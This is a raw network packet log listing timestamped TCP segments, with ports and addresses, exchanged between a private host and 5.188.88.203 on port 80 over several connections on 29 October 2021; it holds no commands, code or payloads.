Oct 29, 2021 14:10:14.015212059 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.015216112 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015256882 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015291929 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.015295029 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015335083 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015342951 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.015373945 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015412092 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015444040 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.015450954 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015491009 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015527964 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015541077 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.015568018 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015571117 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.015604973 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015645981 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015677929 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.015682936 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015723944 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015741110 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.015763044 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015800953 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015840054 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015849113 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.015880108 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015886068 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.015918970 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015957117 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015994072 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016001940 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.016033888 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016072989 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016087055 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.016112089 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016149044 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016168118 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.016185045 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.016187906 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016226053 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016263962 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016273022 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.016324043 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016362906 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016370058 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.016402006 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016438961 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016448975 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.016479015 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016518116 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016525030 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.016556025 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016593933 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016602039 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.016633987 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016670942 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016679049 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.016709089 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016747952 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016762018 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.016788006 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.016838074 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.089826107 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.089878082 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.089914083 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.090020895 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.090087891 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.090096951 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.162549019 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:15.606246948 CEST	49821	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:15.679692984 CEST	80	49821	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:15.680464983 CEST	49821	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:15.680569887 CEST	49821	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:15.680608034 CEST	49821	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:15.754436970 CEST	80	49821	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:15.754481077 CEST	80	49821	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:15.835676908 CEST	80	49821	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:15.835787058 CEST	49821	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:15.835977077 CEST	49821	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:15.882765055 CEST	49822	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:15.909279108 CEST	80	49821	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:15.953697920 CEST	80	49822	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:15.953939915 CEST	49822	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:15.953973055 CEST	49822	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:15.953980923 CEST	49822	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.025085926 CEST	80	49822	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.025122881 CEST	80	49822	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.106962919 CEST	80	49822	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.108364105 CEST	49822	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.119210005 CEST	49822	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.153644085 CEST	49823	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.190184116 CEST	80	49822	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.224371910 CEST	80	49823	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.225461006 CEST	49823	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.225544930 CEST	49823	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.225559950 CEST	49823	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.296284914 CEST	80	49823	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.378211975 CEST	80	49823	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.378329039 CEST	49823	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.385337114 CEST	49823	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.414764881 CEST	49824	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.456106901 CEST	80	49823	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.484088898 CEST	80	49824	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.486700058 CEST	49824	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.486777067 CEST	49824	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.486849070 CEST	49824	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.556102037 CEST	80	49824	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.556137085 CEST	80	49824	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.635803938 CEST	80	49824	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.636142015 CEST	49824	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.636382103 CEST	49824	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.671152115 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.705001116 CEST	80	49824	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.736749887 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.736870050 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.737271070 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.737293959 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.802217960 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.894289970 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.894346952 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.894387007 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.894424915 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.894465923 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.894467115 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.894511938 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.894537926 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.894551992 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.894589901 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.894629955 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.894659996 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.894668102 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.894782066 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.959795952 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.959852934 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.959894896 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.959933043 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.959973097 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.959974051 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.960011959 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960051060 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960067034 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.960091114 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960128069 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960128069 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.960165977 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.960167885 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960207939 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960247040 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960247040 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.960287094 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960324049 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.960324049 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960365057 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960402966 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960437059 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.960439920 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960479021 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960516930 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960519075 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.960556030 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:16.960563898 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:16.960639954 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.025505066 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.025554895 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.025593996 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.025618076 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.025640011 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.025681973 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.025693893 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.025722027 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.025762081 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.025799990 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.025815010 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.025840044 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.025882006 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.025896072 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.025921106 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.025960922 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.025965929 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.026000977 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026041031 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026047945 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.026072025 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026112080 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026124954 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.026150942 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026185989 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026192904 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.026226997 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026253939 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.026268959 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026307106 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026331902 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.026348114 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026387930 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026418924 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.026427031 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026467085 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026505947 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.026506901 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026546955 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026576996 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.026592016 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026628971 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026662111 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.026668072 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026707888 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026724100 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.026743889 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026782990 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026822090 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026823044 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.026861906 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026895046 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.026922941 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026958942 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.026973009 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.026999950 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.027053118 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.027072906 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.027092934 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.027137995 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.092125893 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092185974 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092225075 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092264891 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092277050 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.092305899 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092344999 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092361927 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.092386961 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092425108 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092442036 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.092464924 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092504025 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092533112 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.092545986 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092570066 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.092587948 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092627048 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092643023 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.092667103 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092706919 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092724085 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.092745066 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092783928 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092822075 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092838049 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.092896938 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092938900 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.092955112 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.092978001 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093017101 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093031883 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.093056917 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093075037 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.093097925 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093137980 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093161106 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.093179941 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093219042 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093235016 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.093256950 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093297005 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093313932 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.093334913 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093374968 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093390942 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.093414068 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093451023 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093488932 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093503952 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.093528032 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093564987 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093595028 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.093619108 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093637943 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.093657017 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093696117 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093713999 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.093735933 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093771935 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093791008 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.093811035 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093849897 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093868971 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.093889952 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093929052 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.093966961 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.094005108 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.094044924 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.094048977 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.094223022 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.159085035 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159132957 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159176111 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159195900 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.159214973 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159285069 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159322023 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159343958 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.159362078 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159379959 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.159430027 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159468889 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159506083 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159519911 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.159543991 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159544945 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.159583092 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159619093 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159630060 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.159657001 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159693956 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159722090 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159751892 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159782887 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159802914 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.159827948 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159842014 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.159897089 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159936905 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.159945011 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.159974098 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.160012007 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.160048962 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.160063028 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.160085917 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.160093069 CEST	49825	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:17.160125017 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.160161018 CEST	80	49825	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:17.160173893 CEST	49825	80	192.168.2.3	5.188.88.203
